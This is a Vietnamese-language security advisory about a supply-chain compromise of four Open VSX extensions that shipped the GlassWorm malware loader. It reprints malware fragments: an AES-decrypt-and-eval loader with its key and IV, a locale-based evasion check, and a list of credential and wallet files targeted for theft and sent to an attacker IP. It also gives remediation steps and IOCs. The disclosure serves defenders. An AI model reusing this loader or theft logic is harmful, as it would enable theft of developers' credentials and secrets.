Cảnh Báo Khẩn: Extension Hợp Pháp Bị Chiếm Quyền Đang Đánh Cắp Toàn Bộ Token & Key Của Developer

Nhóm nghiên cứu của Socket phát hiện một cuộc tấn công chuỗi cung ứng nhắm vào Open VSX Registry, bắt nguồn từ việc tài khoản phát hành extension của nhà phát triển bị chiếm quyền (rò rỉ token hoặc truy cập trái phép).
Ngày 30/01/2026, bốn extension hợp lệ, lâu năm của tác giả “oorzc” bị kẻ tấn công tải lên các bản cập nhật chứa GlassWorm malware loader. Trước thời điểm bị nhiễm, các extension này đã có hơn 22.000 lượt tải trên Open VSX.
4 extension bị ảnh hưởng
FTP/SFTP/SSH Sync Tool — v0.5.1
I18n Tools — v1.6.8
vscode mindmap — v1.0.61
scss to css — v1.3.4
Các extension vốn được phát hành từ nhiều năm, có tín hiệu uy tín và được cộng đồng rộng rãi sử dụng.

Phát hiện xâm nhập
Sau khi Socket thông báo, đội an ninh Open VSX xác nhận hoạt động này rất phù hợp với tình huống token phát hành bị lộ. Các bản phát hành độc hại bị loại bỏ, hai token bị vô hiệu hóa và extension oorzc.ssh-tools được đưa vào danh sách malware.
Nhóm GlassWorm – tác nhân tấn công – đã bị theo dõi từ cuối 2025, với nhiều extension độc hại khác được phát hiện có kỹ thuật tương đồng (loader mã hóa, cấu hình nhận qua blockchain, tránh static IOC…).

Phân tích kỹ thuật
1. Loader (Stage 0) trong extension
Mọi extension nhiễm độc chứa cùng một đoạn loader trong extension.js. Loader sử dụng AES-256-CBC để giải mã một khối mã hex dài, sau đó thực thi bằng eval().
→ Đây là cơ chế nạp mã độc theo dạng “staged loader”.
const crypto = require("crypto");
// AES parameters embedded in the extension
let d = crypto.createDecipheriv(
"aes-256-cbc",
"wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz", // 32-byte key
Buffer.from("dfc1fefb224b2a757b7d3d97a93a1db9", "hex") // 16-byte IV
);
// Encrypted payload is a long hex string (truncated here)
let b = d.update(
"d4f0f5c6b7c5...<hex omitted>...9f2a",
"hex",
"utf8"
);
b += d.final("utf8");
// Executes the decrypted Stage 1 code
eval(b);
2. Stage 1 – Kiểm tra môi trường & dead-drop blockchain
Stage 1:
Kiểm tra locale, múi giờ và ngôn ngữ Nga → nếu trùng khớp sẽ không chạy (OPSEC của tội phạm Nga).
Lấy lệnh giai đoạn tiếp theo từ memo của giao dịch Solana → một dạng dead drop động cho phép đổi C2 mà không cần cập nhật extension.
Tiếp tục thực thi chỉ trên macOS.
function _isRussianSystem(){
let russianIndicators = [
"ru_RU",
"ru-RU",
"ru",
"Russian",
process.env.LANG,
process.env.LANGUAGE,
process.env.LC_ALL,
process.env.LC_MESSAGES
];
let isRussianLanguage = russianIndicators.some(indicator =>
indicator && indicator.toLowerCase().includes("ru")
);
let timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;
let isMoscowTimeZone = timeZone && timeZone.includes("Europe/Moscow");
let utcOffset = (new Date).getTimezoneOffset() / -60;
let isRussiaAdjacentTimezone = utcOffset >= 2 && utcOffset <= 12;
return isRussianLanguage || isMoscowTimeZone || isRussiaAdjacentTimezone;
}
...
if (os.platform() == "darwin") {
// macOS-specific Stage 2 path follows
}
3. Stage 2 – Payload macOS: đánh cắp dữ liệu & duy trì hiện diện
Thu thập dữ liệu
Payload tập trung vào credential theft, session theft và wallet theft:
Cookies, lịch sử, cơ sở dữ liệu đăng nhập của Firefox & Chromium
Dữ liệu extension ví (MetaMask…)
Ví desktop: Electrum, Exodus, Atomic, Ledger Live, Trezor Suite, Binance, TonKeeper
Keychain macOS (
login.keychain-db)Apple Notes
Tài liệu người dùng (Desktop, Documents, Downloads)
Cấu hình VPN FortiClient
Tài liệu nhà phát triển:
~/.aws,~/.ssh, GitHub tokens, npm tokens → RẤT nguy hiểm (khả năng leo thang vào hạ tầng doanh nghiệp/CI/CD).
// Stage 2 data-theft targets (selected examples observed in payload)
const targets = [
// macOS credential store
"~/Library/Keychains/login.keychain-db",
// Apple Notes databases (often contain sensitive data)
"~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite",
"~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal",
"~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm",
// Safari session material
"~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies",
// FortiClient VPN configuration
"/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist",
// Developer secrets and access material
"~/.aws", // credentials and config
"~/.ssh" // private keys, known_hosts, config
];
// The payload stages copies of these artifacts under /tmp/ijewf,
// compresses them to /tmp/out.zip, then exfiltrates the archive.
Đóng gói & gửi dữ liệu
Dữ liệu được nén thành /tmp/out.zip rồi gửi về hạ tầng của kẻ tấn công (ví dụ: 45[.]32[.]150[.]251).
Cơ chế duy trì
Tạo LaunchAgent trong
~/Library/LaunchAgentsKhởi chạy payload JS qua runtime Node khi đăng nhập
→ Payload tồn tại lâu dài nếu không bị gỡ.
So sánh với hoạt động GlassWorm trước đây
Các đợt tấn công 2025 chủ yếu:
Typosquatting
Giả mạo công cụ nổi tiếng
Làm giả lượt tải để tạo uy tín
Lần này nguy hiểm hơn: kẻ tấn công dùng tài khoản thật, có lịch sử phát triển thực → tạo sự tin cậy cao hơn và mở rộng phạm vi ảnh hưởng.
Tác động & Rủi ro
Nếu nạn nhân cài bất kỳ extension nào bị nhiễm, coi như đã:
Lộ GitHub tokens → nguy cơ chiếm quyền repo, sửa code, lén chèn backdoor
Lộ npm tokens → phát hành gói độc hại
Lộ AWS credentials → truy cập tài nguyên cloud
Lộ SSH keys → chiếm server hoặc nội mạng doanh nghiệp
Lộ ví crypto và session trình duyệt
Lộ tài liệu nội bộ và ghi chú chứa thông tin nhạy cảm
Phạm vi thiệt hại có thể lan từ máy developer → pipeline CI/CD → người dùng cuối.
Khuyến nghị ứng phó
1. Xử lý khẩn cấp trên thiết bị
Gỡ 4 extension bị nhiễm
Xóa toàn bộ artifact liên quan (đặc biệt thư mục
/tmp/ijewfvà LaunchAgent lạ)Tìm file
*.plistđáng ngờ trong~/Library/LaunchAgentsKiểm tra các tập tin bất thường ở
/tmp/out.zip
2. Xoay vòng & thu hồi chứng chỉ/credential
Thứ tự quan trọng:
Thu hồi GitHub tokens
Thu hồi npm tokens
Đổi AWS access keys
Thu hồi SSH keys sử dụng trong tổ chức (đặc biệt cho CI/CD & prod)
Sau đó:
Kiểm tra nhật ký GitHub: workflow lạ, commit bất thường, token mới được tạo
Kiểm tra quá trình CI/CD xem có chỉnh sửa trái phép
Rà soát cấu hình pipeline & release automation
3. Bảo vệ chuỗi cung ứng
Triển khai các giải pháp kiểm tra dependency như Socket GitHub App, Socket CLI
Kiểm soát thay đổi dependency trong pull request
Sử dụng công cụ cảnh báo rủi ro registry khi cài package hoặc extension
IOC
Malicious Open VSX Extensions (Suspected Developer Account oorzc Compromise)
oorzc.ssh-tools— v0.5.1oorzc.i18n-tools-plus— v1.6.8oorzc.mind-map— v1.0.61oorzc.scss-to-css-compile— v1.3.4
Malicious Open VSX Extensions (December 2025 — January 2026 Cluster)
Blockchain Indicators
- Solana address:
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
Embedded Crypto Material
AES key:
wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSzAES IVs (hex):
c4b9a3773e9dced6015a670855fd32b
IP Address
45[.]32[.]150[.]251





